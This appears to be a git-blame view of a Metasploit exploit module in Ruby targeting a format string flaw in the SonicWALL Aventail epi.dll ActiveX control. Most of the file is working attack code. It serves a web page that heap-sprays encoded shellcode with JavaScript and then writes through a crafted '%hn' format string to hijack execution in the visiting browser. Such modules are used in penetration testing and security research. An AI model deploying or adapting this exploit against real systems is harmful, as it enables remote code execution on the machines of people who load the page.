2010-08-20 01:52:11 +02:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2010-08-20 01:55:59 +02:00
|
|
|
Rank = NormalRanking # heap spray and address shifty
|
2010-08-20 01:52:11 +02:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-08-25 18:18:02 +02:00
|
|
|
'Name' => 'SonicWALL Aventail epi.dll AuthCredential Format String Exploit',
|
2010-08-20 01:52:11 +02:00
|
|
|
'Description' => %q{
|
2010-08-24 20:22:48 +02:00
|
|
|
This module exploits a format string vulnerability within version 10.0.4.x and
|
2010-08-20 01:52:11 +02:00
|
|
|
10.5.1 of the SonicWALL Aventail SSL-VPN Endpoint Interrogator/Installer ActiveX
|
|
|
|
control (epi.dll). By calling the 'AuthCredential' method with a specially
|
|
|
|
crafted Unicode format string, an attacker can cause memory corruption and
|
|
|
|
execute arbitrary code.
|
|
|
|
|
|
|
|
Unfortunately, it does not appear to be possible to indirectly re-use existing
|
2010-08-24 20:22:48 +02:00
|
|
|
stack data for more reliable exploitation. This is due to several particulars
|
2010-08-20 01:52:11 +02:00
|
|
|
about this vulnerability. First, the format string must be a Unicode string,
|
|
|
|
which uses two bytes per character. Second, the buffer is allocated on the
|
|
|
|
stack using the 'alloca' function. As such, each additional format specifier (%x)
|
|
|
|
will add four more bytes to the size allocated. This results in the inability to
|
|
|
|
move the read pointer outside of the buffer.
|
|
|
|
|
|
|
|
Further testing showed that using specifiers that pop more than four bytes does
|
|
|
|
not help. Any number of format specifiers will result in accessing the same value
|
|
|
|
within the buffer.
|
|
|
|
|
|
|
|
NOTE: It may be possible to leverage the vulnerability to leak memory contents.
|
|
|
|
However, that has not been fully investigated at this time.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Nikolas Sotiriu', # original discovery / poc
|
|
|
|
'jduck' # Metasploit module
|
|
|
|
],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-08-20 13:36:50 +02:00
|
|
|
[ 'OSVDB', '67286'],
|
2010-08-20 01:52:11 +02:00
|
|
|
[ 'URL', 'http://sotiriu.de/adv/NSOADV-2010-005.txt' ]
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'epi.dll v10.0.4.18 on Windows XP SP3',
|
|
|
|
{
|
|
|
|
# NOTE: Unfortunately, this address varies from execution to execution
|
|
|
|
'Write' => 0x1240000 + 0x501d4 + 2, # smashed high 16-bits of a vtable ptr :)
|
|
|
|
# 0x1d5005c, # crashes on deref+call
|
|
|
|
'Ret' => 0x04040404
|
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 19 2010',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def autofilter
|
|
|
|
false
|
|
|
|
end
|
|
|
|
|
|
|
|
def check_dependencies
|
|
|
|
use_zlib
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
clsid = "2A1BE1E7-C550-4D67-A553-7F2D3A39233D"
|
|
|
|
progid = "Aventail.EPInterrogator.10.0.4.018"
|
|
|
|
|
|
|
|
method = "AuthCredential"
|
|
|
|
|
|
|
|
# Re-generate the payload
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
# Encode the shellcode
|
|
|
|
shellcode = Rex::Text.to_unescape(p.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
|
|
|
|
# Setup exploit buffers
|
|
|
|
nops = Rex::Text.to_unescape([target.ret].pack('V'))
|
|
|
|
write = Rex::Text.to_unescape([target['Write']].pack('V'))
|
|
|
|
|
|
|
|
# Setup format string offset
|
|
|
|
printed = 0xb1 - 5
|
|
|
|
ret = (target.ret >> 16) - printed
|
|
|
|
|
|
|
|
# Setup heap spray
|
|
|
|
blocksize = 0x40000
|
|
|
|
fillto = 300
|
|
|
|
|
|
|
|
# Randomize the javascript variable names
|
|
|
|
axobj = "axobj" #rand_text_alpha(rand(100) + 1)
|
|
|
|
j_format = "fmt" # rand_text_alpha(rand(100) + 1)
|
|
|
|
j_counter = "i" # rand_text_alpha(rand(30) + 2)
|
|
|
|
# heap spray vars
|
|
|
|
j_shellcode = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_nops = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_ret = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_headersize = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_slackspace = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_fillblock = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_block = rand_text_alpha(rand(100) + 1)
|
|
|
|
j_memory = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
|
|
|
# NOTE: the second assignment triggers the shellcode
|
|
|
|
content = %Q|<html>
|
|
|
|
<object classid='clsid:#{clsid}' id='#{axobj}'></object>
|
|
|
|
<script>
|
|
|
|
#{j_shellcode}=unescape('#{shellcode}');
|
|
|
|
#{j_nops}=unescape('#{nops}');
|
|
|
|
#{j_headersize}=20;
|
|
|
|
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
|
|
|
|
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
|
|
|
|
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
|
|
|
|
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
|
|
|
|
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
|
|
|
|
#{j_memory}=new Array();
|
|
|
|
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
|
|
|
|
|
|
|
|
#{j_format} = unescape("#{write}");
|
|
|
|
#{j_format} += '%#{ret}x';
|
|
|
|
for (#{j_counter} = 0; #{j_counter} < 22; #{j_counter}++)
|
2010-09-20 10:06:27 +02:00
|
|
|
#{j_format} += '%x';
|
2010-08-20 01:52:11 +02:00
|
|
|
#{j_format} += '%hn';
|
|
|
|
|
|
|
|
#{axobj}.#{method} = #{j_format};
|
|
|
|
#{axobj}.#{method} = #{j_format};
|
|
|
|
</script>
|
|
|
|
</html>|
|
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
send_response_html(cli, content)
|
|
|
|
|
|
|
|
# Handle the payload
|
|
|
|
handler(cli)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|